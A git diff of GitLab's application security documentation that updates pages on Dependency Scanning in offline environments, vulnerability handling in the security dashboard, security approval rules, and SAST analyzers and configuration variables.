- Docker Container Registry with locally available copies of Dependency Scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images.
- Host an offline Git copy of the [gemnasium-db advisory database](https://gitlab.com/gitlab-org/security-products/gemnasium-db/).
@@ -399,8 +362,8 @@ Here are the requirements for using Dependency Scanning in an offline environmen
NOTE: **Note:**
GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy),
-meaning the Runner tries to pull Docker images from the GitLab container registry even if a local
-copy is available. GitLab Runner's [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
+meaning the runner tries to pull Docker images from the GitLab container registry even if a local
+copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy)
in an offline environment if you prefer using only locally available Docker images. However, we
recommend keeping the pull policy setting to `always` if not in an offline environment, as this
enables the use of updated scanners in your CI/CD pipelines.
@@ -443,7 +406,6 @@ include:
variables:
SECURE_ANALYZERS_PREFIX: "docker-registry.example.com/analyzers"
GEMNASIUM_DB_REMOTE_URL: "gitlab.example.com/gemnasium-db.git"
- GIT_SSL_NO_VERIFY: "true"
```
See explanations of the variables above in the [configuration section](#configuration).
diff --git a/doc/user/application_security/img/adding_a_dismissal_reason_v13_0.png b/doc/user/application_security/img/adding_a_dismissal_reason_v13_0.png
deleted file mode 100644
index cb8911b14b1..00000000000
--- a/doc/user/application_security/img/adding_a_dismissal_reason_v13_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png b/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png
new file mode 100644
index 00000000000..8e7bcf09428
--- /dev/null
+++ b/doc/user/application_security/img/adding_a_dismissal_reason_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png b/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png
new file mode 100644
index 00000000000..b792fbc9af1
--- /dev/null
+++ b/doc/user/application_security/img/create_issue_from_vulnerability_v13_3.png
Binary files differ
diff --git a/doc/user/application_security/img/create_issue_with_list_hover.png b/doc/user/application_security/img/create_issue_with_list_hover.png
deleted file mode 100644
index 4c38862e68f..00000000000
--- a/doc/user/application_security/img/create_issue_with_list_hover.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png
new file mode 100644
index 00000000000..a914c2996f7
--- /dev/null
+++ b/doc/user/application_security/img/create_mr_from_vulnerability_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/img/cve_id_request_button.png b/doc/user/application_security/img/cve_id_request_button.png
new file mode 100644
index 00000000000..15707ba9eb2
--- /dev/null
+++ b/doc/user/application_security/img/cve_id_request_button.png
Binary files differ
diff --git a/doc/user/application_security/img/cve_request_communication.png b/doc/user/application_security/img/cve_request_communication.png
new file mode 100644
index 00000000000..0766b371c11
--- /dev/null
+++ b/doc/user/application_security/img/cve_request_communication.png
Binary files differ
diff --git a/doc/user/application_security/img/cve_request_communication_publication.png b/doc/user/application_security/img/cve_request_communication_publication.png
new file mode 100644
index 00000000000..9e34c217e13
--- /dev/null
+++ b/doc/user/application_security/img/cve_request_communication_publication.png
Binary files differ
diff --git a/doc/user/application_security/img/interacting_with_vulnerability_v13_0.png b/doc/user/application_security/img/interacting_with_vulnerability_v13_0.png
deleted file mode 100644
index 19d47712f9e..00000000000
--- a/doc/user/application_security/img/interacting_with_vulnerability_v13_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png b/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png
new file mode 100644
index 00000000000..db698995469
--- /dev/null
+++ b/doc/user/application_security/img/interacting_with_vulnerability_v13_3.png
Binary files differ
diff --git a/doc/user/application_security/img/new_cve_request_issue.png b/doc/user/application_security/img/new_cve_request_issue.png
new file mode 100644
index 00000000000..a342c73992e
--- /dev/null
+++ b/doc/user/application_security/img/new_cve_request_issue.png
Binary files differ
diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png
new file mode 100644
index 00000000000..f497b0fbc4e
--- /dev/null
+++ b/doc/user/application_security/img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png b/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png
new file mode 100644
index 00000000000..fc847b578f5
--- /dev/null
+++ b/doc/user/application_security/img/unconfigured_security_approval_rules_and_jobs_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/img/vulnerability-check_v13_0.png b/doc/user/application_security/img/vulnerability-check_v13_0.png
deleted file mode 100644
index 9f0bd0f759b..00000000000
--- a/doc/user/application_security/img/vulnerability-check_v13_0.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/application_security/img/vulnerability-check_v13_4.png b/doc/user/application_security/img/vulnerability-check_v13_4.png
new file mode 100644
index 00000000000..e0b53059b45
--- /dev/null
+++ b/doc/user/application_security/img/vulnerability-check_v13_4.png
Binary files differ
diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md
index c003b512808..d509176f2b2 100644
--- a/doc/user/application_security/index.md
+++ b/doc/user/application_security/index.md
@@ -67,6 +67,7 @@ GitLab uses the following tools to scan and report known vulnerabilities found i
| [Dependency List](dependency_list/index.md) **(ULTIMATE)** | View your project's dependencies and their known vulnerabilities. |
| [Dependency Scanning](dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
| [Dynamic Application Security Testing (DAST)](dast/index.md) **(ULTIMATE)** | Analyze running web applications for known vulnerabilities. |
+| [API fuzzing](api_fuzzing/index.md) **(ULTIMATE)** | Find unknown bugs and vulnerabilities in web APIs with fuzzing. |
| [Secret Detection](secret_detection/index.md) **(ULTIMATE)** | Analyze Git history for leaked secrets. |
| [Security Dashboard](security_dashboard/index.md) **(ULTIMATE)** | View vulnerabilities in all your projects and groups. |
| [Static Application Security Testing (SAST)](sast/index.md) | Analyze source code for known vulnerabilities. |
@@ -76,12 +77,12 @@ GitLab uses the following tools to scan and report known vulnerabilities found i
When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools will be configured using default settings.
-- [Auto SAST](../../topics/autodevops/stages.md#auto-sast-ultimate)
-- [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection-ultimate)
-- [Auto DAST](../../topics/autodevops/stages.md#auto-dast-ultimate)
-- [Auto Dependency Scanning](../../topics/autodevops/stages.md#auto-dependency-scanning-ultimate)
-- [Auto License Compliance](../../topics/autodevops/stages.md#auto-license-compliance-ultimate)
-- [Auto Container Scanning](../../topics/autodevops/stages.md#auto-container-scanning-ultimate)
+- [Auto SAST](../../topics/autodevops/stages.md#auto-sast)
+- [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection)
+- [Auto DAST](../../topics/autodevops/stages.md#auto-dast)
+- [Auto Dependency Scanning](../../topics/autodevops/stages.md#auto-dependency-scanning)
+- [Auto License Compliance](../../topics/autodevops/stages.md#auto-license-compliance)
+- [Auto Container Scanning](../../topics/autodevops/stages.md#auto-container-scanning)
While you cannot directly customize Auto DevOps, you can [include the Auto DevOps template in your project's `.gitlab-ci.yml` file](../../topics/autodevops/customize.md#customizing-gitlab-ciyml).
@@ -121,7 +122,7 @@ information with several options:
- [Solution](#solutions-for-vulnerabilities-auto-remediation): For some vulnerabilities,
a solution is provided for how to fix the vulnerability.
-![Interacting with security reports](img/interacting_with_vulnerability_v13_0.png)
+![Interacting with security reports](img/interacting_with_vulnerability_v13_3.png)
### View details of a DAST vulnerability
@@ -165,7 +166,8 @@ reports. You can specify the list of all headers to be masked. For details, see
### Dismissing a vulnerability
-To dismiss a vulnerability, you must set its status to Dismissed. Follow these steps to do so:
+To dismiss a vulnerability, you must set its status to Dismissed. This dismisses the vulnerability
+for the entire project. Follow these steps to do so:
1. Select the vulnerability in the Security Dashboard.
1. Select **Dismissed** from the **Status** selector menu at the top-right.
@@ -181,7 +183,7 @@ vulnerability's status to Dismissed, a text box appears for you to add a comment
dismissal. Once added, you can edit or delete it. This allows you to add and update context for a
vulnerability as you learn more over time.
-![Dismissed vulnerability comment](img/adding_a_dismissal_reason_v13_0.png)
+![Dismissed vulnerability comment](img/adding_a_dismissal_reason_v13_4.png)
#### Dismissing multiple vulnerabilities
@@ -196,22 +198,6 @@ Pressing the "Dismiss Selected" button will dismiss all the selected vulnerabili
![Multiple vulnerability dismissal](img/multi_select_v12_9.png)
-### Creating an issue for a vulnerability
-
-You can create an issue for a vulnerability by selecting the **Create issue**
-button from within the vulnerability modal, or by using the action buttons to the right of
-a vulnerability row in the group security dashboard.
-
-This creates a [confidential issue](../project/issues/confidential_issues.md) in the project the
-vulnerability came from, and pre-populates it with some useful information taken from the vulnerability
-report. Once the issue is created, you are redirected to it so you can edit, assign, or comment on
-it.
-
-Upon returning to the group security dashboard, the vulnerability now has an associated issue next
-to the name.
-
-![Linked issue in the group security dashboard](img/issue.png)
-
### Solutions for vulnerabilities (auto-remediation)
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5656) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.7.
@@ -246,10 +232,29 @@ vulnerability. Any vulnerability that has a
[solution](#solutions-for-vulnerabilities-auto-remediation) can have a merge
request created to automatically solve the issue.
-If this action is available, the vulnerability modal contains a **Create merge request** button.
+If this action is available, the vulnerability page or modal contains a **Create merge request** button.
Click this button to create a merge request to apply the solution onto the source branch.
-![Create merge request from vulnerability](img/create_issue_with_list_hover.png)
+![Create merge request from vulnerability](img/create_mr_from_vulnerability_v13_4.png)
+
+### Creating an issue for a vulnerability
+
+You can create an issue for a vulnerability by visiting the vulnerability's page and clicking
+**Create issue**, which you can find in the **Related issues** section.
+
+![Create issue from vulnerability](img/create_issue_from_vulnerability_v13_3.png)
+
+This creates a [confidential issue](../project/issues/confidential_issues.md) in the project the
+vulnerability came from, and pre-populates it with some useful information taken from the vulnerability
+report. Once the issue is created, you are redirected to it so you can edit, assign, or comment on
+it. CVE identifiers can be requested from GitLab by clicking the
+[_CVE ID Request_ button](cve_id_request.md) that is enabled for maintainers of
+public projects on GitLab.com
+
+Upon returning to the group security dashboard, the vulnerability now has an associated issue next
+to the name.
+
+![Linked issue in the group security dashboard](img/issue.png)
### Managing related issues for a vulnerability
@@ -307,15 +312,29 @@ rating.
### Enabling Security Approvals within a project
-To enable Security Approvals, a [project approval rule](../project/merge_requests/merge_request_approvals.md#adding--editing-a-default-approval-rule)
-must be created with the case-sensitive name `Vulnerability-Check`. This approval group must be set
-with the number of approvals required greater than zero. You must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions) to manage approval rules.
+To enable the `Vulnerability-Check` or `License-Check` Security Approvals, a [project approval rule](../project/merge_requests/merge_request_approvals.md#adding--editing-a-default-approval-rule)
+must be created. A [security scanner job](#security-scanning-tools) must be enabled for
+`Vulnerability-Check`, and a [license scanning](../compliance/license_compliance/index.md#configuration)
+job must be enabled for `License-Check`. When the proper jobs aren't configured, the following
+appears:
+
+![Unconfigured Approval Rules](img/unconfigured_security_approval_rules_and_jobs_v13_4.png)
+
+If at least one security scanner is enabled, you will be able to enable the `Vulnerability-Check` approval rule. If a license scanning job is enabled, you will be able to enable the `License-Check` rule.
+
+![Unconfigured Approval Rules with valid pipeline jobs](img/unconfigured_security_approval_rules_and_enabled_jobs_v13_4.png)
+
+For this approval group, you must set the number of approvals required to greater than zero. You
+must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions)
+to manage approval rules.
+
+Follow these steps to enable `Vulnerability-Check`:
1. Navigate to your project's **Settings > General** and expand **Merge request approvals**.
-1. Click **Add approval rule**, or **Edit**.
- - Add or change the **Rule name** to `Vulnerability-Check` (case sensitive).
+1. Click **Enable**, or **Edit**.
+1. Add or change the **Rule name** to `Vulnerability-Check` (case sensitive).
-![Vulnerability Check Approver Rule](img/vulnerability-check_v13_0.png)
+![Vulnerability Check Approver Rule](img/vulnerability-check_v13_4.png)
Once this group is added to your project, the approval rule is enabled for all merge requests.
@@ -332,32 +351,14 @@ An approval is optional when the security report:
- Contains no new vulnerabilities when compared to the target branch.
- Contains only new vulnerabilities of `low` or `medium` severity.
-## Enabling License Approvals within a project
+### Enabling License Approvals within a project
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3.
-`License-Check` is an approval rule you can enable to allow an individual or group to approve a
-merge request that contains a `denied` license.
-
-You can enable `License-Check` one of two ways:
-
-- Create a [project approval rule](../project/merge_requests/merge_request_approvals.md#multiple-approval-rules-premium)
- with the case-sensitive name `License-Check`.
-- Create an approval group in the [project policies section for License Compliance](../compliance/license_compliance/index.md#policies).
- You must set this approval group's number of approvals required to greater than zero. Once you
- enable this group in your project, the approval rule is enabled for all merge requests.
-
-Any code changes cause the approvals required to reset.
-
-An approval is required when a license report:
-
-- Contains a dependency that includes a software license that is `denied`.
-- Is not generated during pipeline execution.
-
-An approval is optional when a license report:
-
-- Contains no software license violations.
-- Contains only new licenses that are `allowed` or unknown.
+`License-Check` is a [security approval rule](#enabling-security-approvals-within-a-project)
+you can enable to allow an individual or group to approve a merge request that contains a `denied`
+license. For instructions on enabling this rule, see
+[Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project).
## Working in an offline environment
diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md
index a5cf93f9448..3a7c0148388 100644
--- a/doc/user/application_security/offline_deployments/index.md
+++ b/doc/user/application_security/offline_deployments/index.md
@@ -64,10 +64,10 @@ Once a vulnerability is found, you can interact with it. Read more on how to
Please note that in some cases the reported vulnerabilities provide metadata that can contain
external links exposed in the UI. These links might not be accessible within an offline environment.
-### Suggested Solutions for vulnerabilities
+### Automatic remediation for vulnerabilities
-The [suggested solutions](../index.md#solutions-for-vulnerabilities-auto-remediation) feature
-(auto-remediation) is available for Dependency Scanning and Container Scanning, but may not work
+The [automatic remediation for vulnerabilities](../index.md#solutions-for-vulnerabilities-auto-remediation) feature
+(auto-remediation) is available for offline Dependency Scanning and Container Scanning, but may not work
depending on your instance's configuration. We can only suggest solutions, which are generally more
current versions that have been patched, when we are able to access up-to-date registry services
hosting the latest versions of that dependency or image.
@@ -96,7 +96,7 @@ above. You can find more information at each of the pages below:
To use many GitLab features, including
[security scans](../index.md#working-in-an-offline-environment)
-and [Auto DevOps](../../../topics/autodevops/index.md), the GitLab Runner must be able to fetch the
+and [Auto DevOps](../../../topics/autodevops/index.md), the runner must be able to fetch the
relevant Docker images.
The process for making these images available without direct access to the public internet
@@ -124,7 +124,7 @@ The pipeline downloads the Docker images needed for the Security Scanners and sa
[job artifacts](../../../ci/pipelines/job_artifacts.md) or pushes them to the [Container Registry](../../packages/container_registry/index.md)
of the project where the pipeline is executed. These archives can be transferred to another location
and [loaded](https://docs.docker.com/engine/reference/commandline/load/) in a Docker daemon.
-This method requires a GitLab Runner with access to both `gitlab.com` (including
+This method requires a runner with access to both `gitlab.com` (including
`registry.gitlab.com`) and the local offline instance. This runner must run in
[privileged mode](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode)
to be able to use the `docker` command inside the jobs. This runner can be installed in a DMZ or on
diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md
index 214044ad783..727f077aa09 100644
--- a/doc/user/application_security/sast/analyzers.md
+++ b/doc/user/application_security/sast/analyzers.md
@@ -28,7 +28,6 @@ SAST supports the following official analyzers:
- [`nodejs-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/nodejs-scan) (NodeJsScan)
- [`phpcs-security-audit`](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit) (PHP CS security-audit)
- [`pmd-apex`](https://gitlab.com/gitlab-org/security-products/analyzers/pmd-apex) (PMD (Apex only))
-- [`secrets`](https://gitlab.com/gitlab-org/security-products/analyzers/secrets) (Secrets (Gitleaks & TruffleHog secret detectors))
- [`security-code-scan`](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan) (Security Code Scan (.NET))
- [`sobelow`](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow) (Sobelow (Elixir Phoenix))
- [`spotbugs`](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) (SpotBugs with the Find Sec Bugs plugin (Ant, Gradle and wrapper, Grails, Maven and wrapper, SBT))
@@ -97,32 +96,7 @@ That's needed when one totally relies on [custom analyzers](#custom-analyzers).
## Custom Analyzers
-### Custom analyzers with Docker-in-Docker
-
-When Docker-in-Docker for SAST is enabled,
-you can provide your own analyzers as a comma-separated list of Docker images.
-Here's how to add `analyzers/csharp` and `analyzers/perl` to the default images:
-In `.gitlab-ci.yml` define:
-
-```yaml
-include:
- - template: SAST.gitlab-ci.yml
-
-variables:
- SAST_ANALYZER_IMAGES: "my-docker-registry/analyzers/csharp,amy-docker-registry/analyzers/perl"
-```
-
-The values must be the full path to the container registry images,
-like what you would feed to the `docker pull` command.
-
-NOTE: **Note:**
-This configuration doesn't benefit from the integrated detection step.
-SAST has to fetch and spawn each Docker image to establish whether the
-custom analyzer can scan the source code.
-
-### Custom analyzers without Docker-in-Docker
-
-When Docker-in-Docker for SAST is disabled, you can provide your own analyzers by
+You can provide your own analyzers by
defining CI jobs in your CI configuration. For consistency, you should suffix your custom
SAST jobs with `-sast`. Here's how to add a scanning job that's based on the
Docker image `my-docker-registry/analyzers/csharp` and generates a SAST report
@@ -146,7 +120,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md)
| Property / Tool | Apex | Bandit | Brakeman | ESLint security | SpotBugs | Flawfinder | Gosec | Kubesec Scanner | NodeJsScan | PHP CS Security Audit | Security code Scan (.NET) | Sobelow |
| --------------------------------------- | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :------------------: | :---------------------: | :-------------------------: | :----------------: |
-| Severity | ✓ | ✓ | ð„‚ | ð„‚ | ✓ | ð„‚ | ✓ | ✓ | ð„‚ | ✓ | ð„‚ | ð„‚ |
+| Severity | ✓ | ✓ | ð„‚ | ð„‚ | ✓ | ✓ | ✓ | ✓ | ð„‚ | ✓ | ð„‚ | ð„‚ |
| Title | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Description | ✓ | ð„‚ | ð„‚ | ✓ | ✓ | ð„‚ | ð„‚ | ✓ | ✓ | ð„‚ | ð„‚ | ✓ |
| File | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -159,7 +133,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md)
| Internal doc/explanation | ✓ | âš  | ✓ | ð„‚ | ✓ | ð„‚ | ð„‚ | ð„‚ | ð„‚ | ð„‚ | ð„‚ | ✓ |
| Solution | ✓ | ð„‚ | ð„‚ | ð„‚ | âš  | ✓ | ð„‚ | ð„‚ | ð„‚ | ð„‚ | ð„‚ | ð„‚ |
| Affected item (e.g. class or package) | ✓ | ð„‚ | ✓ | ð„‚ | ✓ | ✓ | ð„‚ | ✓ | ð„‚ | ð„‚ | ð„‚ | ð„‚ |
-| Confidence | ð„‚ | ✓ | ✓ | ð„‚ | ✓ | ✓ | ✓ | ✓ | ð„‚ | ð„‚ | ð„‚ | ✓ |
+| Confidence | ð„‚ | ✓ | ✓ | ð„‚ | ✓ | x | ✓ | ✓ | ð„‚ | ð„‚ | ð„‚ | ✓ |
| Source code extract | ð„‚ | ✓ | ✓ | ✓ | ð„‚ | ✓ | ✓ | ð„‚ | ð„‚ | ð„‚ | ð„‚ | ð„‚ |
| Internal ID | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ð„‚ | ð„‚ | ✓ | ✓ | ✓ |
diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md
index fd331020719..a4fc3c9e638 100644
--- a/doc/user/application_security/sast/index.md
+++ b/doc/user/application_security/sast/index.md
@@ -43,29 +43,28 @@ A pipeline consists of multiple jobs, including SAST and DAST scanning. If any j
## Requirements
-To run SAST jobs, by default, you need a GitLab Runner with the
+To run SAST jobs, by default, you need GitLab Runner with the
[`docker`](https://docs.gitlab.com/runner/executors/docker.html) or
[`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor.
-If you're using the shared Runners on GitLab.com, this is enabled by default.
-
-Beginning with GitLab 13.0, Docker privileged mode is necessary only if you've [enabled Docker-in-Docker for SAST](#enabling-docker-in-docker-ultimate).
+If you're using the shared runners on GitLab.com, this is enabled by default.
CAUTION: **Caution:**
Our SAST jobs require a Linux container type. Windows containers are not yet supported.
CAUTION: **Caution:**
-If you use your own Runners, make sure the Docker version installed
+If you use your own runners, make sure the Docker version installed
is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details.
## Supported languages and frameworks
-The following table shows which languages, package managers and frameworks are supported and which tools are used.
+GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we will automatically run the appropriate SAST analyzers.
+
+You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297).
| Language (package managers) / framework | Scan tool | Introduced in GitLab Version |
|--------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| .NET Core | [Security Code Scan](https://security-code-scan.github.io) | 11.0, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 |
| .NET Framework | [Security Code Scan](https://security-code-scan.github.io) | 13.0, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 |
-| Any | [Gitleaks](https://github.com/zricethezav/gitleaks) and [TruffleHog](https://github.com/dxa4481/truffleHog) | 11., [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 |
| Apex (Salesforce) | [PMD](https://pmd.github.io/pmd/index.html) | 12.1, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 |
| C/C++ | [Flawfinder](https://github.com/david-a-wheeler/flawfinder) | 10.7, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 |
| Elixir (Phoenix) | [Sobelow](https://github.com/nccgroup/sobelow) | 11.10, [moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.3 |
@@ -94,9 +93,6 @@ All open source (OSS) analyzers have been moved to the GitLab Core tier. Progres
tracked in the corresponding
[epic](https://gitlab.com/groups/gitlab-org/-/epics/2098).
-Please note that support for [Docker-in-Docker](#enabling-docker-in-docker-ultimate)
-will not be extended to the GitLab Core tier.
-
#### Summary of features per tier
Different features are available in different [GitLab tiers](https://about.gitlab.com/pricing/),
@@ -108,8 +104,9 @@ as shown in the following table:
| [Customize SAST Settings](#customizing-the-sast-settings) | **{check-circle}** | **{check-circle}** |
| View [JSON Report](#reports-json-format) | **{check-circle}** | **{check-circle}** |
| [Presentation of JSON Report in Merge Request](#overview) | **{dotted-circle}** | **{check-circle}** |
-| [Interaction with Vulnerabilities](#interacting-with-the-vulnerabilities-ultimate) | **{dotted-circle}** | **{check-circle}** |
-| [Access to Security Dashboard](#security-dashboard-ultimate) | **{dotted-circle}** | **{check-circle}** |
+| [Interaction with Vulnerabilities](#interacting-with-the-vulnerabilities) | **{dotted-circle}** | **{check-circle}** |
+| [Access to Security Dashboard](#security-dashboard) | **{dotted-circle}** | **{check-circle}** |
+| [Configure SAST in the UI](#configure-sast-in-the-ui) | **{dotted-circle}** | **{check-circle}** |
## Contribute your scanner
@@ -119,7 +116,7 @@ The [Security Scanner Integration](../../../development/integrations/secure.md)
To configure SAST for a project you can:
-- Use [Auto SAST](../../../topics/autodevops/stages.md#auto-sast-ultimate) provided by
+- Use [Auto SAST](../../../topics/autodevops/stages.md#auto-sast) provided by
[Auto DevOps](../../../topics/autodevops/index.md).
- [Configure SAST manually](#configure-sast-manually).
- [Configure SAST using the UI](#configure-sast-in-the-ui) (introduced in GitLab 13.3).
@@ -135,30 +132,31 @@ Add the following to your `.gitlab-ci.yml` file:
```yaml
include:
- - template: SAST.gitlab-ci.yml
+ - template: Security/SAST.gitlab-ci.yml
```
The included template creates SAST jobs in your CI/CD pipeline and scans
your project's source code for possible vulnerabilities.
The results are saved as a
-[SAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssast-ultimate)
+[SAST report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportssast)
that you can later download and analyze. Due to implementation limitations, we
always take the latest SAST artifact available.
-### Configure SAST in the UI
+### Configure SAST in the UI **(ULTIMATE)**
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3659) in GitLab Ultimate 13.3.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3659) in GitLab Ultimate 13.3.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/issues/232862) in GitLab Ultimate 13.4.
-For a project that does not have a `.gitlab-ci.yml` file, you can enable SAST with a basic
-configuration using the **SAST Configuration** page:
+You can enable and configure SAST with a basic configuration using the **SAST Configuration**
+page:
-1. From the project's home page, go to **Security & Configuration** > **Configuration** in the
+1. From the project's home page, go to **Security & Compliance** > **Configuration** in the
left sidebar.
-1. Click **Enable via Merge Request** on the Static Application Security Testing (SAST) row.
-1. Enter the appropriate SAST details into the fields on the page. See [Available variables](#available-variables)
- for a description of these variables.
-1. Click **Create Merge Request**.
+1. If the project does not have a `gitlab-ci.yml` file, click **Enable** in the Static Application Security Testing (SAST) row, otherwise click **Configure**.
+1. Enter the custom SAST values, then click **Create Merge Request**.
+
+ Custom values are stored in the `.gitlab-ci.yml` file. For variables not in the SAST Configuration page, their values are left unchanged. Default values are inherited from the GitLab SAST template.
1. Review and merge the merge request.
### Customizing the SAST settings
@@ -215,25 +213,6 @@ you can use the `MAVEN_CLI_OPTS` environment variable.
Read more on [how to use private Maven repositories](../index.md#using-private-maven-repos).
-### Enabling Docker-in-Docker **(ULTIMATE)**
-
-If needed, you can enable Docker-in-Docker to restore the SAST behavior that existed prior to GitLab
-13.0. Follow these steps to do so:
-
-1. Configure a GitLab Runner with Docker-in-Docker in [privileged mode](https://docs.gitlab.com/runner/executors/docker.html#use-docker-in-docker-with-privileged-mode).
-1. Set the variable `SAST_DISABLE_DIND` set to `false`:
-
- ```yaml
- include:
- - template: SAST.gitlab-ci.yml
-
- variables:
- SAST_DISABLE_DIND: "false"
- ```
-
-This creates a single `sast` job in your CI/CD pipeline instead of multiple `<analyzer-name>-sast`
-jobs.
-
#### Enabling Kubesec analyzer
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12752) in GitLab Ultimate 12.6.
@@ -265,8 +244,8 @@ analyzer and compilation will be skipped:
image: maven:3.6-jdk-8-alpine
stages:
- - build
- - test
+ - build
+ - test
include:
- template: SAST.gitlab-ci.yml
@@ -327,7 +306,6 @@ The following are Docker image-related variables.
| `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the default images (proxy). Read more about [customizing analyzers](analyzers.md). |
| `SAST_ANALYZER_IMAGE_TAG` | **DEPRECATED:** Override the Docker tag of the default images. Read more about [customizing analyzers](analyzers.md). |
| `SAST_DEFAULT_ANALYZERS` | Override the names of default images. Read more about [customizing analyzers](analyzers.md). |
-| `SAST_DISABLE_DIND` | Disable Docker-in-Docker and run analyzers [individually](#enabling-docker-in-docker-ultimate). This variable is `true` by default. |
#### Vulnerability filters
@@ -340,23 +318,7 @@ Some analyzers make it possible to filter out vulnerabilities under a given thre
| `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` |
| `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. |
| `SAST_FLAWFINDER_LEVEL` | 1 | Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk. |
-| `SAST_GITLEAKS_ENTROPY_LEVEL` | 8.0 | Minimum entropy for secret detection. Float, 0.0 = low, 8.0 = high. |
| `SAST_GOSEC_LEVEL` | 0 | Ignore Gosec vulnerabilities under given confidence level. Integer, 0=Undefined, 1=Low, 2=Medium, 3=High. |
-| `SAST_GITLEAKS_COMMIT_FROM` | | The commit a Gitleaks scan starts at. |
-| `SAST_GITLEAKS_COMMIT_TO` | | The commit a Gitleaks scan ends at. |
-| `SAST_GITLEAKS_HISTORIC_SCAN` | `false` | Flag to enable a historic Gitleaks scan. |
-
-#### Docker-in-Docker orchestrator
-
-The following variables configure the Docker-in-Docker orchestrator, and therefore are only used when the Docker-in-Docker mode is [enabled](#enabling-docker-in-docker-ultimate).
-
-| Environment variable | Default value | Description |
